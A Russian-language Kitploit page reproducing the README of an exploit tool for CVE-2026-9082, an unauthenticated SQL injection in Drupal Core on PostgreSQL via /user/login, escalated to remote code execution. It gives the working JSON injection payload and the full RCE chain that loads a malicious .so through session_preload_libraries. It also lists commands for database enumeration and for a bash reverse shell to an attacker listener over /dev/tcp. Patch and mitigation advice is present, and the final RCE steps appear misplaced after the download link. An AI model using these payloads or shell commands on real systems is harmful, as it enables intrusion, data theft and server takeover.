Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-9082 — SQLi в Drupal Core (PostgreSQL) до RCE через /user/login (CVE-2026-9082 / SA-CORE-2026-004) | Kitploit
Инструменты/GitHubGitHub/11romain/cve-2026-9082
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHub11romain/cve-2026-9082

CVE-2026-9082

SQLi в Drupal Core (PostgreSQL) до RCE через /user/login (CVE-2026-9082 / SA-CORE-2026-004)

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9082

Неаутентифицированная SQL-инъекция в Drupal Core на PostgreSQL через POST /user/login, расширяемая до удаленного выполнения кода через session_preload_libraries PostgreSQL.

В отличие от существующих публичных эксплойтов, нацеленных на JSON:API, этот использует конечную точку входа — всегда доступна, не требует модулей или опубликованного контента.

Консультация: SA-CORE-2026-004 | Риск: 23/25 (Высококритичный) | CISA KEV

Затронутые версии

Уязвимы только сайты Drupal, использующие PostgreSQL.

ВеткаУязвимаяИсправленная
11.3.x< 11.3.1011.3.10
11.2.x< 11.2.1211.2.12
11.0.x - 11.1.x< 11.1.1011.1.10
10.6.x< 10.6.910.6.9
10.5.x< 10.5.1010.5.10
10.4.x< 10.4.1010.4.10
8.9.x - 10.3.xВсеКонец поддержки — обновитесь

Уязвимость

Коренная причина

Обработчик условий запроса сущностей PostgreSQL в Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) создаёт регистронезависимые условия IN, перебирая $condition['value'] как ассоциативный массив и конкатенируя контролируемые пользователем ключи прямо в идентификаторы PDO-плейсхолдеров — сгенерированный SQL содержит LOWER(:<prefix><key>), где <key> берётся непосредственно от атакующего.

Этот путь кода достигается только при выполнении двух условий: is_array($condition['value']) и $case_sensitive === FALSE. Именно поэтому затронут только PostgreSQL — у MySQL и SQLite нет этой регистронезависимой ветки LOWER().

Парсер именованных параметров PDO распознаёт только [a-zA-Z0-9_] после :. Символы вне этого набора (например, | или )) завершают токен плейсхолдера. Таким образом, ключ вида 0||(subquery) создаёт плейсхолдер :prefix0 (общий с легитимным ключом 0) плюс литеральный SQL ||(subquery), который попадает в PostgreSQL без параметризации.

Исправление — один вызов array_values(), отбрасывающий ключи, предоставленные атакующим, до генерации SQL.

Вектор инъекции (/user/login)

root@kitploit:~
POST /user/login?_format=json

{
  "name": {
    "0": "x",
    "0||(SELECT CAST((SELECT version()) AS int))": "x"
  },
  "pass": "x"
}

Поле name отправляется как JSON-объект вместо строки. Drupal передаёт его в условие IN запроса сущности с регистронезависимым сравнением. Для каждого ключа массива Drupal генерирует LOWER(:<prefix><key>) в SQL. Результирующий запрос выглядит так:

root@kitploit:~
LOWER("users_field_data"."name") IN (
  LOWER(:users_field_data_name0),
  LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)

PDO распознаёт :users_field_data_name0 как плейсхолдер в обеих записях (останавливаясь на | во второй) и привязывает обе к 'x'. Остаток ||(SELECT ...) проходит как литеральный SQL. После подстановки PostgreSQL получает:

root@kitploit:~
LOWER(name) IN (
  LOWER('x'),
  LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)

CAST(... AS int) завершается ошибкой на нецелочисленных данных, и сообщение об ошибке раскрывает результат запроса.

Цепочка RCE (суперпользователь PostgreSQL)

Когда пользователь базы данных является суперпользователем PostgreSQL, инъекцию только для SELECT можно расширить до RCE:

  1. Извлеките версию PostgreSQL, data_directory, статус суперпользователя
  2. Скомпилируйте нативный модуль .so с _PG_init(), вызывающим system()
  3. Загрузите .so в data_directory через большие объекты (lo_create -> lo_put -> lo_export)
  4. Перезапишите postgresql.auto.conf, установив session_preload_libraries и dynamic_library_path
  5. Перезагрузите конфигурацию с помощью pg_reload_conf()

Предварительные требования

SQL-инъекция (cve_2026_9082_check.py):

  • Drupal на PostgreSQL, любая неисправленная версия
  • Аутентификация не требуется
  • Модуль JSON:API не требуется
  • Опубликованный контент не требуется

Удаленное выполнение кода (cve_2026_9082_rce.py):

  • Всё вышеперечисленное, плюс:
  • Пользователь базы данных должен быть суперпользователем PostgreSQL
  • docker доступен локально (для кросс-компиляции на macOS)

Использование

Установка зависимостей

root@kitploit:~
pip install -r requirements.txt

Проверка SQLi

root@kitploit:~
# Проверка SQL-инъекции
python3 cve_2026_9082_check.py http://target:8081

# С прокси (Burp, mitmproxy и т.д.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080

Эксплуатация SQLi

root@kitploit:~
# Список всех баз данных
python3 cve_2026_9082_sqli.py http://target:8081 --dbs

# Список таблиц в базе данных
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables

# Список столбцов в таблице
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns

Удаленное выполнение кода

root@kitploit:~
# Выполнить команду
python3 cve_2026_9082_rce.py http://target:8081 "id"

# Реверс-шелл
python3 cve_2026_9082_rce.py http://target:8081 \
  "bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"

# Прослушиватель
nc -lvnp 4444

Демонстрация

Проверка SQLi на уязвимом экземпляре:

Вывод проверки SQLi

Перечисление баз данных через инъекцию на основе ошибок:

Вывод эксплуатации SQLi

Расширение до удаленного выполнения кода:

Вывод эксплойта RCE

Исправление

Немедленно обновите Drupal до исправленной версии:

  • 11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10 или 10.4.10

Если вы не можете обновиться прямо сейчас:

  • Переключитесь на учётную запись базы данных не суперпользователя, чтобы предотвратить escalation до RCE
  • Отслеживайте логи на предмет аномальных запросов POST /user/login с JSON-объектами в поле name

Патчи и подробности: SA-CORE-2026-004

Хронология

ДатаСобытие
2026-05-20Drupal публикует SA-CORE-2026-004, выпущены патчи
2026-05-22Активная эксплуатация в реальных условиях, добавлено в CISA KEV
2026-05-26Ambionics публикует технику SQLi-to-RCE через JSON:API
2026-06-07Выпуск этого инструмента

Благодарности

  • Уязвимость сообщена Michael Maturi
  • Вектор входа (/user/login) описан bitk & jfellus (YesWeHack)
  • Техника RCE (session_preload_libraries) — N. Maccary / Ambionics (Lexfo)
  • Эта реализация — RCE адаптирован для вектора /user/login от r0m41n

Отказ от ответственности

Этот инструмент предоставляется для авторизованного тестирования безопасности и исключительно в образовательных целях.

Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за любое неправомерное использование данного программного обеспечения. Всегда получайте надлежащее разрешение перед тестированием систем, которые вам не принадлежат.

Скачать инструмент
  • Запустите новое подключение бэкенда — PostgreSQL загружает модуль и выполняет команду
  • Прочитайте вывод команды через pg_read_file()
  • Очистите — восстановите исходную конфигурацию и перезагрузите